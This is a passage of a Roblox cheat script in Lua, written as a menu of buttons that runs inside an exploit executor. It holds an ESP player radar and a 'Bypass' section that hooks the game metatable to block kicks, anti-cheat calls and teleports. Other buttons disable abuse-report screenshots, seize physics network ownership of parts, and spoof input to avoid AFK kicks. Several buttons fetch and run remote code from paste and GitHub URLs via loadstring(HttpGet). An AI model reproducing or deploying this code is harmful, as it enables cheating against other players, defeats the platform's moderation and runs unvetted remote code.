  4392. Arrow:Remove()
  4393. c:Disconnect()
  4394. end
  4395. end
  4396. end)
  4397. end
  4398. CWRAP(Update)()
  4399. end
  4400. for _,v in pairs(Players:GetChildren()) do
  4401. if v.Name ~= Player.Name then
  4402. ShowArrow(v)
  4403. end
  4404. end
  4405. Players.PlayerAdded:Connect(function(v)
  4406. if v.Name ~= Player.Name then
  4407. ShowArrow(v)
  4408. end
  4409. end)
  4410. end
  4411. })
  4412.  
  4413. ESP:AddButton({
  4414. Name = "Player Radar",
  4415. Callback = function()
  4416. -- Made by Blissful#4992
  4417. local Players = game:service("Players")
  4418. local Player = Players.LocalPlayer
  4419. local Mouse = Player:GetMouse()
  4420. local Camera = game:service("Workspace").CurrentCamera
  4421. local RS = game:service("RunService")
  4422. local UIS = game:service("UserInputService")
  4423.  
  4424. repeat wait() until Player.Character ~= nil and Player.Character.PrimaryPart ~= nil
  4425.  
  4426. local LerpColorModule = loadstring(game:HttpGet("https://raw.githubusercontent.com/Blissful4992/ESPs/main/LerpColorModule.lua"))()
  4427. local HealthBarLerp = LerpColorModule:Lerp(Color3.fromRGB(255, 0, 0), Color3.fromRGB(0, 255, 0))
  4428.  
  4429. local function NewCircle(Transparency, Color, Radius, Filled, Thickness)
  4430. local c = Drawing.new("Circle")
  4431. c.Transparency = Transparency
  4432. c.Color = Color
  4433. c.Visible = false
  4434. c.Thickness = Thickness
  4435. c.Position = Vector2.new(0, 0)
  4436. c.Radius = Radius
  4437. c.NumSides = math.clamp(Radius*55/100, 10, 75)
  4438. c.Filled = Filled
  4439. return c
  4440. end
  4441.  
  4442. local RadarInfo = {
  4443. Position = Vector2.new(200, 200),
  4444. Radius = 100,
  4445. Scale = 1, -- Determinant factor on the effect of the relative position for the 2D integration
  4446. RadarBack = Color3.fromRGB(10, 10, 10),
  4447. RadarBorder = Color3.fromRGB(75, 75, 75),
  4448. LocalPlayerDot = Color3.fromRGB(255, 255, 255),
  4449. PlayerDot = Color3.fromRGB(60, 170, 255),
  4450. Team = Color3.fromRGB(0, 255, 0),
  4451. Enemy = Color3.fromRGB(255, 0, 0),
  4452. Health_Color = true,
  4453. Team_Check = true
  4454. }
  4455.  
  4456. local RadarBackground = NewCircle(0.9, RadarInfo.RadarBack, RadarInfo.Radius, true, 1)
  4457. RadarBackground.Visible = true
  4458. RadarBackground.Position = RadarInfo.Position
  4459.  
  4460. local RadarBorder = NewCircle(0.75, RadarInfo.RadarBorder, RadarInfo.Radius, false, 3)
  4461. RadarBorder.Visible = true
  4462. RadarBorder.Position = RadarInfo.Position
  4463.  
  4464. local function GetRelative(pos)
  4465. local char = Player.Character
  4466. if char ~= nil and char.PrimaryPart ~= nil then
  4467. local pmpart = char.PrimaryPart
  4468. local camerapos = Vector3.new(Camera.CFrame.Position.X, pmpart.Position.Y, Camera.CFrame.Position.Z)
  4469. local newcf = CFrame.new(pmpart.Position, camerapos)
  4470. local r = newcf:PointToObjectSpace(pos)
  4471. return r.X, r.Z
  4472. else
  4473. return 0, 0
  4474. end
  4475. end
  4476.  
  4477. local function PlaceDot(plr)
  4478. local PlayerDot = NewCircle(1, RadarInfo.PlayerDot, 3, true, 1)
  4479.  
  4480. local function Update()
  4481. local c
  4482. c = game:service("RunService").RenderStepped:Connect(function()
  4483. local char = plr.Character
  4484. if char and char:FindFirstChildOfClass("Humanoid") and char.PrimaryPart ~= nil and char:FindFirstChildOfClass("Humanoid").Health > 0 then
  4485. local hum = char:FindFirstChildOfClass("Humanoid")
  4486. local scale = RadarInfo.Scale
  4487. local relx, rely = GetRelative(char.PrimaryPart.Position)
  4488. local newpos = RadarInfo.Position - Vector2.new(relx * scale, rely * scale)
  4489.  
  4490. if (newpos - RadarInfo.Position).magnitude < RadarInfo.Radius-2 then
  4491. PlayerDot.Radius = 3
  4492. PlayerDot.Position = newpos
  4493. PlayerDot.Visible = true
  4494. else
  4495. local dist = (RadarInfo.Position - newpos).magnitude
  4496. local calc = (RadarInfo.Position - newpos).unit * (dist - RadarInfo.Radius)
  4497. local inside = Vector2.new(newpos.X + calc.X, newpos.Y + calc.Y)
  4498. PlayerDot.Radius = 2
  4499. PlayerDot.Position = inside
  4500. PlayerDot.Visible = true
  4501. end
  4502.  
  4503. PlayerDot.Color = RadarInfo.PlayerDot
  4504. if RadarInfo.Team_Check then
  4505. if plr.TeamColor == Player.TeamColor then
  4506. PlayerDot.Color = RadarInfo.Team
  4507. else
  4508. PlayerDot.Color = RadarInfo.Enemy
  4509. end
  4510. end
  4511.  
  4512. if RadarInfo.Health_Color then
  4513. PlayerDot.Color = HealthBarLerp(hum.Health / hum.MaxHealth)
  4514. end
  4515. else
  4516. PlayerDot.Visible = false
  4517. if Players:FindFirstChild(plr.Name) == nil then
  4518. PlayerDot:Remove()
  4519. c:Disconnect()
  4520. end
  4521. end
  4522. end)
  4523. end
  4524. coroutine.wrap(Update)()
  4525. end
  4526.  
  4527. for _,v in pairs(Players:GetChildren()) do
  4528. if v.Name ~= Player.Name then
  4529. PlaceDot(v)
  4530. end
  4531. end
  4532.  
  4533. local function NewLocalDot()
  4534. local d = Drawing.new("Triangle")
  4535. d.Visible = true
  4536. d.Thickness = 1
  4537. d.Filled = true
  4538. d.Color = RadarInfo.LocalPlayerDot
  4539. d.PointA = RadarInfo.Position + Vector2.new(0, -6)
  4540. d.PointB = RadarInfo.Position + Vector2.new(-3, 6)
  4541. d.PointC = RadarInfo.Position + Vector2.new(3, 6)
  4542. return d
  4543. end
  4544.  
  4545. local LocalPlayerDot = NewLocalDot()
  4546.  
  4547. Players.PlayerAdded:Connect(function(v)
  4548. if v.Name ~= Player.Name then
  4549. PlaceDot(v)
  4550. end
  4551. LocalPlayerDot:Remove()
  4552. LocalPlayerDot = NewLocalDot()
  4553. end)
  4554.  
  4555. -- Loop
  4556. coroutine.wrap(function()
  4557. local c
  4558. c = game:service("RunService").RenderStepped:Connect(function()
  4559. if LocalPlayerDot ~= nil then
  4560. LocalPlayerDot.Color = RadarInfo.LocalPlayerDot
  4561. LocalPlayerDot.PointA = RadarInfo.Position + Vector2.new(0, -6)
  4562. LocalPlayerDot.PointB = RadarInfo.Position + Vector2.new(-3, 6)
  4563. LocalPlayerDot.PointC = RadarInfo.Position + Vector2.new(3, 6)
  4564. end
  4565. RadarBackground.Position = RadarInfo.Position
  4566. RadarBackground.Radius = RadarInfo.Radius
  4567. RadarBackground.Color = RadarInfo.RadarBack
  4568.  
  4569. RadarBorder.Position = RadarInfo.Position
  4570. RadarBorder.Radius = RadarInfo.Radius
  4571. RadarBorder.Color = RadarInfo.RadarBorder
  4572. end)
  4573. end)()
  4574.  
  4575. -- Draggable
  4576. local inset = game:service("GuiService"):GetGuiInset()
  4577.  
  4578. local dragging = false
  4579. local offset = Vector2.new(0, 0)
  4580. UIS.InputBegan:Connect(function(input)
  4581. if input.UserInputType == Enum.UserInputType.MouseButton1 and (Vector2.new(Mouse.X, Mouse.Y + inset.Y) - RadarInfo.Position).magnitude < RadarInfo.Radius then
  4582. offset = RadarInfo.Position - Vector2.new(Mouse.X, Mouse.Y)
  4583. dragging = true
  4584. end
  4585. end)
  4586.  
  4587. UIS.InputEnded:Connect(function(input)
  4588. if input.UserInputType == Enum.UserInputType.MouseButton1 then
  4589. dragging = false
  4590. end
  4591. end)
  4592.  
  4593. coroutine.wrap(function()
  4594. local dot = NewCircle(1, Color3.fromRGB(255, 255, 255), 3, true, 1)
  4595. local c
  4596. c = game:service("RunService").RenderStepped:Connect(function()
  4597. if (Vector2.new(Mouse.X, Mouse.Y + inset.Y) - RadarInfo.Position).magnitude < RadarInfo.Radius then
  4598. dot.Position = Vector2.new(Mouse.X, Mouse.Y + inset.Y)
  4599. dot.Visible = true
  4600. else
  4601. dot.Visible = false
  4602. end
  4603. if dragging then
  4604. RadarInfo.Position = Vector2.new(Mouse.X, Mouse.Y) + offset
  4605. end
  4606. end)
  4607. end)()
  4608.  
  4609. --[[ Example:
  4610. wait(3)
  4611. RadarInfo.Position = Vector2.new(300, 300)
  4612. RadarInfo.Radius = 150
  4613. RadarInfo.RadarBack = Color3.fromRGB(50, 0, 0)
  4614. ]]
  4615. end
  4616. })
  4617.  
  4618. Bypass:AddButton({
  4619. Name = "Anti-Lag",
  4620. Callback = function()
  4621. _G.Settings = {
  4622. Players = {
  4623. ["Ignore Me"] = true, -- Ignore your Character
  4624. ["Ignore Others"] = true -- Ignore other Characters
  4625. },
  4626. Meshes = {
  4627. Destroy = false, -- Destroy Meshes
  4628. LowDetail = true -- Low detail meshes (NOT SURE IT DOES ANYTHING)
  4629. },
  4630. Images = {
  4631. Invisible = true, -- Invisible Images
  4632. LowDetail = false, -- Low detail images (NOT SURE IT DOES ANYTHING)
  4633. Destroy = false, -- Destroy Images
  4634. },
  4635. Other = {
  4636. ["No Particles"] = true, -- Disables all ParticleEmitter, Trail, Smoke, Fire and Sparkles
  4637. ["No Camera Effects"] = true, -- Disables all PostEffect's (Camera/Lighting Effects)
  4638. ["No Explosions"] = true, -- Makes Explosion's invisible
  4639. ["No Clothes"] = true, -- Removes Clothing from the game
  4640. ["Low Water Graphics"] = true, -- Removes Water Quality
  4641. ["No Shadows"] = true, -- Remove Shadows
  4642. ["Low Rendering"] = true, -- Lower Rendering
  4643. ["Low Quality Parts"] = true -- Lower quality parts
  4644. }
  4645. }
  4646. loadstring(game:HttpGet("https://paste.ee/r/WXhdX"))()
  4647. print("Anti-Lag loaded")
  4648. end
  4649. })
  4650.  
  4651. Bypass:AddButton({
  4652. Name = "Anti-Afk SendKeyEventMethod",
  4653. Callback = function()
  4654. local VirtualInputManager = game:GetService("VirtualInputManager")
  4655. local UserInputService = game:GetService("UserInputService")
  4656. local Hooks = {}
  4657.  
  4658. local function SortArguments(self, ...)
  4659. return self, {...}
  4660. end
  4661.  
  4662. local Old; Old = hookmetamethod(UserInputService.WindowFocused, "__index", function(...)
  4663. local self, Index = ...
  4664. local Response = Old(self, Index)
  4665.  
  4666. if (tostring(self):find("WindowFocused") or tostring(self):find("WindowFocusReleased")) and not table.find(Hooks, Response) then
  4667. table.insert(Hooks, Response)
  4668.  
  4669. if Index:lower() == "wait" then
  4670. local Old2; Old2 = hookfunction(Response, function(...)
  4671. local self1 = ...
  4672.  
  4673. if self1 == self then
  4674. self1 = Instance.new("BindableEvent").Event
  4675. end
  4676.  
  4677. return Old2(self1)
  4678. end)
  4679. elseif Index:lower() == "connect" then
  4680. local Old2; Old2 = hookfunction(Response, function(...)
  4681. local self1, Function = ...
  4682.  
  4683. if self1 == self then
  4684. Function = function() return; end
  4685. end
  4686.  
  4687. return Old2(self1, Function)
  4688. end)
  4689. end
  4690. end
  4691.  
  4692. return Response
  4693. end)
  4694.  
  4695. for i, v in next, getconnections(UserInputService.WindowFocusReleased) do
  4696. v:Disable()
  4697. end
  4698.  
  4699. for i, v in next, getconnections(UserInputService.WindowFocused) do
  4700. v:Disable()
  4701. end
  4702.  
  4703. if not getgenv().WindowFocused then
  4704. firesignal(UserInputService.WindowFocused)
  4705. getgenv().WindowFocused = true
  4706. end
  4707.  
  4708. while true do
  4709. VirtualInputManager:SendKeyEvent(true, Enum.KeyCode.Unknown, false, game)
  4710.  
  4711. task.wait(Random.new():NextNumber(15, 120))
  4712. end
  4713.  
  4714. print("Anti-Afk SendKeyEventMethod Loaded")
  4715. end
  4716. })
  4717.  
  4718. Bypass:AddButton({
  4719. Name = "Anti-Afk ClickButtonMethod",
  4720. Callback = function()
  4721. local VirtualUser=game:service'VirtualUser'
  4722. game:service'Players'.LocalPlayer.Idled:connect(function()
  4723. VirtualUser:CaptureController()
  4724. VirtualUser:ClickButton2(Vector2.new())
  4725. end)
  4726.  
  4727. print("Anti-Afk ClickButtonMethod Loaded")
  4728. end
  4729. })
  4730.  
  4731. Bypass:AddButton({
  4732. Name = "Anti-Afk KeyboardButtonMethod",
  4733. Callback = function()
  4734. local vu = game:GetService("VirtualUser")
  4735. game:GetService("Players").LocalPlayer.Idled:connect(function()
  4736. vu:Button2Down(Vector2.new(0,0),workspace.CurrentCamera.CFrame)
  4737. wait(1)
  4738. vu:Button2Up(Vector2.new(0,0),workspace.CurrentCamera.CFrame)
  4739. end)
  4740. print("Anti-Afk KeyboardButtonMethod Loaded")
  4741. end
  4742. })
  4743.  
  4744. Bypass:AddButton({
  4745. Name = "Anti-Cheat",
  4746. Callback = function()
  4747. local mt = getrawmetatable(game)
  4748. local ncallsa = mt.__namecall
  4749. setreadonly(mt, false)
  4750. mt.__namecall = newcclosure(function(...)
  4751. local args = {...}
  4752. if not checkcaller() and getnamecallmethod() == "Cheat" then
  4753. return nil
  4754. end
  4755. return ncallsa(...)
  4756. end)
  4757. setreadonly(mt, true)
  4758.  
  4759. print("Anti-Cheat Loaded")
  4760. end
  4761. })
  4762.  
  4763. Bypass:AddButton({
  4764. Name = "Anti-Kick",
  4765. Callback = function()
  4766. local mt = getrawmetatable(game)
  4767. local ncallsa = mt.__namecall
  4768. setreadonly(mt, false)
  4769. mt.__namecall = newcclosure(function(...)
  4770. local args = {...}
  4771. if not checkcaller() and getnamecallmethod() == "Kick" then
  4772. return nil
  4773. end
  4774. return ncallsa(...)
  4775. end)
  4776. setreadonly(mt, true)
  4777.  
  4778. print("Anti-Kick Loaded")
  4779. end
  4780. })
  4781.  
  4782. Bypass:AddButton({
  4783. Name = "Anti-Kick NewcclosureMethod",
  4784. Callback = function()
  4785. local mt = getrawmetatable(game)
  4786. local old = mt.__namecall
  4787. local protect = newcclosure or protect_function
  4788.  
  4789. setreadonly(mt, false)
  4790. mt.__namecall = protect(function(self, ...)
  4791. local method = getnamecallmethod()
  4792. if method == "Kick" then
  4793. wait(9e9)
  4794. return
  4795. end
  4796. return old(self, ...)
  4797. end)
  4798. hookfunction(game.Players.LocalPlayer.Kick,protect(function() wait(9e9) end))
  4799. print("Anti-Kick NewcclosureMethod loaded")
  4800. end
  4801. })
  4802.  
  4803. Bypass:AddButton({
  4804. Name = "Anti-Kick HookFunctionMethod",
  4805. Callback = function()
  4806. --// Variables
  4807.  
  4808. local Players = game:GetService("Players")
  4809. local OldNameCall = nil
  4810.  
  4811. --// Global Variables
  4812.  
  4813. getgenv().SendNotifications = true -- Set to true if you want to get notified regularly.
  4814.  
  4815. --// Anti Kick Hook
  4816.  
  4817. OldNameCall = hookmetamethod(game, "__namecall", function(Self, ...)
  4818. local NameCallMethod = getnamecallmethod()
  4819.  
  4820. if tostring(string.lower(NameCallMethod)) == "kick" then
  4821.  
  4822. return nil
  4823. end
  4824.  
  4825. return OldNameCall(Self, ...)
  4826. end)
  4827.  
  4828. if getgenv().SendNotifications == true then
  4829. game:GetService("StarterGui"):SetCore("SendNotification", {
  4830. Title = "Anti-Kick",
  4831. Text = "Anti-Kick HookFunctionMethod script loaded",
  4832. Icon = "rbxassetid://6238537240",
  4833. Duration = 5,
  4834. })
  4835. end
  4836. end
  4837. })
  4838.  
  4839. Bypass:AddButton({
  4840. Name = "Remote Anti-Kick",
  4841. Callback = function()
  4842. local mt = getrawmetatable(game) --get meta
  4843.  
  4844. local oldnamecall = mt.__namecall --store namecall
  4845.  
  4846. setreadonly(mt, false) --make mt writeable
  4847.  
  4848. mt.__namecall = newcclosure(function(self, ...) --newcclosure yes
  4849. local method = getnamecallmethod() --namecall
  4850. local Args = {...} --args variable
  4851. if not checkcaller() and method == "FireServer" and Args[1] == "Kick" then --This is where you put the Args, for example if the event were game.ReplicatedStorage.Anti:FireServer("Kick", "bad") you would do Args[1]. For bad you would do Args[2]
  4852. return nil --most devs crash you so just do this, you can do this without wait.
  4853. end
  4854.  
  4855. return oldnamecall(self, ...) --return old
  4856. end)
  4857.  
  4858. setreadonly(mt, true)
  4859. print("Remote Anti-Kick loaded")
  4860. end
  4861. })
  4862.  
  4863. Bypass:AddButton({
  4864. Name = "Remote Anti-Kick WaitMethod",
  4865. Callback = function()
  4866. local mt = getrawmetatable(game) --get meta
  4867.  
  4868. local oldnamecall = mt.__namecall --store namecall
  4869.  
  4870. setreadonly(mt, false) --make mt writeable
  4871.  
  4872. mt.__namecall = newcclosure(function(self, ...) --newcclosure yes
  4873. local method = getnamecallmethod() --namecall
  4874. local Args = {...} --args variable
  4875. if not checkcaller() and method == "FireServer" and Args[1] == "Kick" then --This is where you put the Args, for example if the event were game.ReplicatedStorage.Anti:FireServer("Kick", "bad") you would do Args[1]. For bad you would do Args[2]
  4876. return wait(math.huge) --most devs crash you so just do this, you can do this without wait.
  4877. end
  4878.  
  4879. return oldnamecall(self, ...) --return old
  4880. end)
  4881.  
  4882. setreadonly(mt, true)
  4883. print("Remote Anti-Kick WaitMethod loaded")
  4884. end
  4885. })
  4886.  
  4887. Bypass:AddButton({
  4888. Name = "Anti-TeleportService",
  4889. Callback = function()
  4890. local TeleportService, tp, tptpi = game:GetService("TeleportService")
  4891. tp = hookfunction(TeleportService.Teleport, function(id, ...)
  4892. if allow_rj and id == game.Placeid then
  4893. return tp(id, ...)
  4894. end
  4895. return wait(9e9)
  4896. end)
  4897. tptpi = hookfunction(TeleportService.TeleportToPlaceInstance, function(id, server, ...)
  4898. if allow_rj and id == game.Placeid and server == game.JobId then
  4899. return tp(id, server, ...)
  4900. end
  4901. return wait(9e9)
  4902. end)
  4903. print("Anti-TeleportService loaded")
  4904. end
  4905. })
  4906.  
  4907. Bypass:AddButton({
  4908. Name = "Position/CFrame Anti-Teleport",
  4909. Callback = function()
  4910. local mt = getrawmetatable(game)
  4911. setreadonly(mt, false)
  4912. local old = mt.__index
  4913.  
  4914. local player = game.Players.LocalPlayer
  4915. local IsLoop = false
  4916. local CFrame = player.Character.HumanoidRootPart.CFrame
  4917.  
  4918. mt.__index = newcclosure(function(self, key)
  4919. if self == "HumanoidRootPart" or self == "Torso" and self.Parent == player.Character and key == "CFrame" or key == "Position" and IsLoop then
  4920. return CFrame
  4921. end
  4922. return old(self, key)
  4923. end)
  4924. print("Position/CFrame Anti-Teleport loaded")
  4925. end
  4926. })
  4927.  
  4928. Bypass:AddButton({
  4929. Name = "Anti-Reach",
  4930. Callback = function()
  4931. for i,h in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
  4932. if h:IsA("BasePart") then
  4933. for i,v in pairs(getconnections(h:GetPropertyChangedSignal"Size")) do
  4934. v:Disable()
  4935. end
  4936. end
  4937. end
  4938. print("Anti-Reach loaded.")
  4939. print("Anti-Reach NOTE: If it's not work for you when you spawned as a new character, then use it again. There's no loop.")
  4940. end
  4941. })
  4942.  
  4943. Bypass:AddButton({
  4944. Name = "Anti-Fling",
  4945. Callback = function()
  4946. local Services = setmetatable({}, {__index = function(Self, Index)
  4947. local NewService = game.GetService(game, Index)
  4948. if NewService then
  4949. Self[Index] = NewService
  4950. end
  4951. return NewService
  4952. end})
  4953.  
  4954. -- [ LocalPlayer ] --
  4955. local LocalPlayer = Services.Players.LocalPlayer
  4956.  
  4957. -- // Functions \\ --
  4958. local function PlayerAdded(Player)
  4959. local Detected = false
  4960. local Character;
  4961. local PrimaryPart;
  4962.  
  4963. local function CharacterAdded(NewCharacter)
  4964. Character = NewCharacter
  4965. repeat
  4966. wait()
  4967. PrimaryPart = NewCharacter:FindFirstChild("HumanoidRootPart")
  4968. until PrimaryPart
  4969. Detected = false
  4970. end
  4971.  
  4972. CharacterAdded(Player.Character or Player.CharacterAdded:Wait())
  4973. Player.CharacterAdded:Connect(CharacterAdded)
  4974. Services.RunService.Heartbeat:Connect(function()
  4975. if (Character and Character:IsDescendantOf(workspace)) and (PrimaryPart and PrimaryPart:IsDescendantOf(Character)) then
  4976. if PrimaryPart.AssemblyAngularVelocity.Magnitude > 50 or PrimaryPart.AssemblyLinearVelocity.Magnitude > 100 then
  4977. if Detected == false then
  4978. game.StarterGui:SetCore("ChatMakeSystemMessage", {
  4979. Text = "Fling Exploit detected, Player: " .. tostring(Player);
  4980. Color = Color3.fromRGB(255, 200, 0);
  4981. })
  4982. end
  4983. Detected = true
  4984. for i,v in ipairs(Character:GetDescendants()) do
  4985. if v:IsA("BasePart") then
  4986. v.CanCollide = false
  4987. v.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
  4988. v.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
  4989. v.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0)
  4990. end
  4991. end
  4992. PrimaryPart.CanCollide = false
  4993. PrimaryPart.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
  4994. PrimaryPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
  4995. PrimaryPart.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0)
  4996. end
  4997. end
  4998. end)
  4999. end
  5000.  
  5001. -- // Event Listeners \\ --
  5002. for i,v in ipairs(Services.Players:GetPlayers()) do
  5003. if v ~= LocalPlayer then
  5004. PlayerAdded(v)
  5005. end
  5006. end
  5007. Services.Players.PlayerAdded:Connect(PlayerAdded)
  5008.  
  5009. local LastPosition = nil
  5010. Services.RunService.Heartbeat:Connect(function()
  5011. pcall(function()
  5012. local PrimaryPart = LocalPlayer.Character.PrimaryPart
  5013. if PrimaryPart.AssemblyLinearVelocity.Magnitude > 250 or PrimaryPart.AssemblyAngularVelocity.Magnitude > 250 then
  5014. PrimaryPart.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
  5015. PrimaryPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
  5016. PrimaryPart.CFrame = LastPosition
  5017.  
  5018. game.StarterGui:SetCore("ChatMakeSystemMessage", {
  5019. Text = "You were flung. Neutralizing velocity.";
  5020. Color = Color3.fromRGB(255, 0, 0);
  5021. })
  5022. elseif PrimaryPart.AssemblyLinearVelocity.Magnitude < 50 or PrimaryPart.AssemblyAngularVelocity.Magnitude > 50 then
  5023. LastPosition = PrimaryPart.CFrame
  5024. end
  5025. end)
  5026. end)
  5027. print("Anti-Fling loaded")
  5028. end
  5029. })
  5030.  
  5031. Bypass:AddButton({
  5032. Name = "Anti-Network Library",
  5033. Callback = function()
  5034. repeat task.wait() until game:IsLoaded()
  5035. local Players = game:GetService("Players") --define variables n shit
  5036. local RunService = game:GetService("RunService")
  5037. local LocalPlayer = Players.LocalPlayer
  5038. --[[
  5039. Network Library by 4eyes
  5040. Usage: Put this in your script and use Network.RetainPart(Part) on any part you'd like to retain ownership over, then just apply a replicating method of movement. Credit me if you'd like.
  5041. loadstring(game:HttpGet("https://raw.githubusercontent.com/your4eyes/RobloxScripts/main/Net_Library.lua"))()
  5042. --]]
  5043. if not getgenv().Network then
  5044. getgenv().Network = {}
  5045. Network["BaseParts"] = {}
  5046. Network["RetainPart"] = function(Part) --function for retaining ownership of unanchored parts
  5047. if Part:IsA("BasePart") and not isnetworkowner(Part) then
  5048. local CParts = Part:GetConnectedParts()
  5049. for _,CPart in pairs(CParts) do --check if part is connected to anything already in baseparts being retained
  5050. if table.find(Network["BaseParts"],CPart) then
  5051. print("Did not apply PartOwnership to part, as it is already connected to a part with this method active.")
  5052. return
  5053. end
  5054. end
  5055. local BV = Instance.new("BodyVelocity") --create bodyvelocity to apply constant physics packets and retain ownership
  5056. BV.Name = "NetworkRetainer"
  5057. BV.MaxForce = Vector3.new(1/0,1/0,1/0)
  5058. BV.P = 1/0
  5059. BV.Velocity = Vector3.new(30,30,30)
  5060. BV.Parent = Part
  5061. table.insert(Network["BaseParts"],Part)
  5062. end
  5063. end
  5064. Network["SuperStepper"] = Instance.new("BindableEvent") --make super fast event to connect to
  5065. setfflag("NewRunServiceSignals","true")
  5066. for _,Event in pairs({RunService.RenderStepped,RunService.Heartbeat,RunService.Stepped,RunService.PreSimulation,RunService.PostSimulation}) do
  5067. Event:Connect(function()
  5068. return Network["SuperStepper"]:Fire(Network["SuperStepper"],tick())
  5069. end)
  5070. end
  5071. Network["PartOwnership"] = {}
  5072. Network["PartOwnership"]["Enabled"] = false
  5073. Network["PartOwnership"]["Execute"] = coroutine.create(function() --creating a thread for network stuff
  5074. if Network["PartOwnership"]["Enabled"] == false then
  5075. Network["PartOwnership"]["Enabled"] = true --do cool network stuff before doing more cool network stuff
  5076. setscriptable(workspace,"PhysicsSteppingMethod",true)
  5077. setscriptable(workspace,"PhysicsSimulationRateReplicator",true)
  5078. settings().Physics.PhysicsEnvironmentalThrottle = Enum.EnviromentalPhysicsThrottle.Disabled
  5079. workspace.PhysicsSimulationRateReplicator = Enum.PhysicsSimulationRate.Fixed240Hz
  5080. workspace.InterpolationThrottling = Enum.InterpolationThrottling.Enabled
  5081. workspace.PhysicsSteppingMethod = Enum.PhysicsSteppingMethod.Fixed
  5082. LocalPlayer.ReplicationFocus = workspace
  5083. settings().Physics.AllowSleep = false
  5084. Network["SuperStepper"].Event:Connect(function() --super fast asynchronous loop
  5085. sethiddenproperty(LocalPlayer,"SimulationRadius",1/0)
  5086. for _,Part in pairs(Network["BaseParts"]) do --loop through parts and do network stuff
  5087. coroutine.wrap(function()
  5088. if not isnetworkowner(Part) then --lag parts my ownership is contesting but dont have network over to spite the people who have ownership of stuff i want >:(
  5089. print("[NETWORK] Part "..Part:GetFullName().." is not owned. Contesting ownership...")
  5090. sethiddenproperty(Part,"NetworkIsSleeping",true)
  5091. else
  5092. sethiddenproperty(Part,"NetworkIsSleeping",false)
  5093. end
  5094. --[==[ [[by 4eyes btw]] ]==]--
  5095. end)()
  5096. end
  5097. end)
  5098. end
  5099. end)
  5100. coroutine.resume(Network["PartOwnership"]["Execute"])
  5101. end
  5102. end
  5103. })
  5104.  
  5105. Bypass:AddButton({
  5106. Name = "Anti-Net",
  5107. Callback = function()
  5108. for i,v in next, game:GetService("Players").LocalPlayer.Character:GetDescendants() do
  5109. if v:IsA("BasePart") and v.Name ~="HumanoidRootPart" then
  5110. game:GetService("RunService").Heartbeat:connect(function()
  5111. v.Velocity = Vector3.new(45,0,0)
  5112. end)
  5113. end
  5114. end
  5115. print("Anti-Net loaded")
  5116. end
  5117. })
  5118.  
  5119. Bypass:AddButton({
  5120. Name = "Anti-Netless",
  5121. Callback = function()
  5122. loadstring(game:HttpGet("https://paste.ee/r/E8tES"))()
  5123. print("Anti-Netless loaded")
  5124. end
  5125. })
  5126.  
  5127. Bypass:AddButton({
  5128. Name = "Anti-Report",
  5129. Callback = function()
  5130. setfflag("AbuseReportScreenshotPercentage", 0)
  5131. setfflag("DFFlagAbuseReportScreenshot", "False")
  5132. print("Anti-Report loaded")
  5133. end
  5134. })
  5135.  
  5136. Bypass:AddButton({
  5137. Name = "Anti-DisplayName",
  5138. Callback = function()
  5139. local AntiDisplayName = loadstring(game:HttpGet('https://paste.ee/r/j7ZgJ'))(function()
  5140. getgenv().Preferences = {}
  5141. end)
  5142.  
  5143. Preferences = {
  5144. RetroNaming = false,
  5145. ShowOriginalName = true,
  5146. ApplyToLeaderboard = true,
  5147. IdentifyFriends = {Toggle = true, Identifier = '[Friend]'},
  5148. IdentifyBlocked = {Toggle = true, Identifier = '[Blocked]'},
  5149. IdentifyPremium = {Toggle = true, Identifier = '[Premium]'},
  5150. IdentifyDeveloper = {Toggle = true, Identifier = '[Game Dev]'},
  5151. SpoofLocalPlayer = {Toggle = false, UseRandomName = true, NewName = 'Random Name Lol'},
  5152. Orientation = 'Horizontal'
  5153. }
  5154. print("Anti-DisplayName loaded")
  5155. end
  5156. })
  5157.  
  5158. Bypass:AddButton({
  5159. Name = "Anti-Hat",
  5160. Callback = function()
  5161. local client = game:GetService("Players").LocalPlayer
  5162. local char = client.Character
  5163. local antihat = true
  5164.  
  5165. for _,delete in pairs(char:GetChildren()) do
  5166. if delete:IsA('Accessory') then
  5167. delete.Handle:Destroy()
  5168. end
  5169. end
  5170.  
  5171. client.CharacterAdded:Connect(function()
  5172. repeat wait()
  5173. for i,v in pairs(char:GetChildren()) do
  5174. if v:IsA("Accessory") then
  5175. wait(1)
  5176. v.Handle:Destroy()
  5177. end
  5178. end
  5179. until antihat == false
  5180. end)
  5181. print("Anti-Hat loaded")
  5182. end
  5183. })
  5184.  
  5185. Bypass:AddButton({
  5186. Name = "Anti-Body Movers",
  5187. Callback = function()
  5188. local client = game:GetService("Players").LocalPlayer
  5189. local char = client.Character
  5190. local antibody = true
  5191.  
  5192. for _,v in pairs(char:GetDescendants()) do
  5193. if v:IsA("BodyAngularVelocity") or v:IsA("BodyForce") or v:IsA("BodyGyro") or v:IsA("BodyThrust") or v:IsA("BodyVelocity") or v:IsA("BodyPosition") or v:IsA("RocketPropulsion") then
  5194. v:Destroy()
  5195. end
  5196. end
  5197.  
  5198. repeat wait()
  5199. for _,v in pairs(char:GetDescendants()) do
  5200. if v:IsA("BodyAngularVelocity") or v:IsA("BodyForce") or v:IsA("BodyGyro") or v:IsA("BodyThrust") or v:IsA("BodyVelocity") or v:IsA("BodyPosition") or v:IsA("RocketPropulsion") then
  5201. v:Destroy()
  5202. end
  5203. end
  5204. until antibody == false
  5205.  
  5206. print("Anti-Body Movers loaded")
  5207. end
  5208. })
  5209.  
  5210. Bypass:AddButton({
  5211. Name = "Anti-WalkSpeed",
  5212. Callback = function()
  5213. local gmt = getrawmetatable(game)
  5214.  
  5215. local oldindex = gmt._index
  5216.  
  5217. setreadonly(gmt, false)
  5218.  
  5219. gmt._index = newcclosure(function(self,k)
  5220. if self == "Humanoid" and k == "WalkSpeed" then
  5221. return 16
  5222. end
  5223. return oldindex(self,k)
  5224. end)
  5225. setreadonly(gmt, true)
  5226. print("Anti-WalkSpeed loaded")
  5227. end
  5228. })
  5229.  
  5230. Bypass:AddButton({
  5231. Name = "Anti-JumpPower",
  5232. Callback = function()
  5233. local gmt = getrawmetatable(game)
  5234.  
  5235. local oldindex = gmt._index
  5236.  
  5237. setreadonly(gmt, false)
  5238.  
  5239. gmt._index = newcclosure(function(self,k)
